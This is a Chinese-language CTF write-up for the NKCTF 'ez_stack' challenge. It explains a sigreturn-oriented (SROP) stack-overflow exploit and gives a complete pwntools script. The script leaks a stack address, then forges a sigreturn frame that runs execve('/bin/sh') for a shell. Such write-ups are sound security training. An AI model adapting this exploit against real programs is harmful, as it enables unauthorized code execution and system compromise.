nkctfez_stack

b4nd1t

nkctf ez_stack(srop)

保护检查

1679890198393

源码分析

1679890300355

1679890326458

第一次的payloadpayload = 'a'*0x10 + p64(0) + p64(syscall_ret) + p64(syscall_read) + p64(0) + p64(syscall_read_xor)

按照程序中的代码到最后rax会被置零,返回到syscall_ret时还会进行输入,我们输入一个字符,这样rax就会存入返回值1,这时再调用到syscall_read就会打印0x200个字符,在其中泄露出栈上的一个地址,在接近返回的时候有一个pop rbp,用p64(0)进行填充,再返回的时候就又可以输入了。

第二次的payloadpayload = "/bin/sh\x00" * 3 + p64(mov_rax) + p64(syscall_ret) + str(frame),把/bin/sh写入栈中,利用刚才泄露的栈地址计算出/bin/sh的位置

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./pwn")
syscall_read_xor = 0x00000000004011DC
syscall_read = 0x00000000004011DF
syscall_ret = 0x00000000040114E
syscall = 0x00000000004011DA
mov_rax = 0x401146
def debug():
gdb.attach(p)
payload = 'a'*0x10 + p64(0) + p64(syscall_ret) + p64(syscall_read) + p64(0) + p64(syscall_read_xor)
p.recv()
p.sendline(payload)
#pause()
sleep(0.5)
p.send("a")
stack_addr = u64(p.recv(40)[-8:])
print(hex(stack_addr))
p.recv()
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr - 0xa2
frame.rsi = 0
frame.rdx = 0
frame.rbp = stack_addr
frame.rsp = stack_addr
frame.rip = syscall
payload = "/bin/sh\x00" * 3 + p64(mov_rax) + p64(syscall_ret) + str(frame)
p.sendline(payload)
#debug()
p.interactive()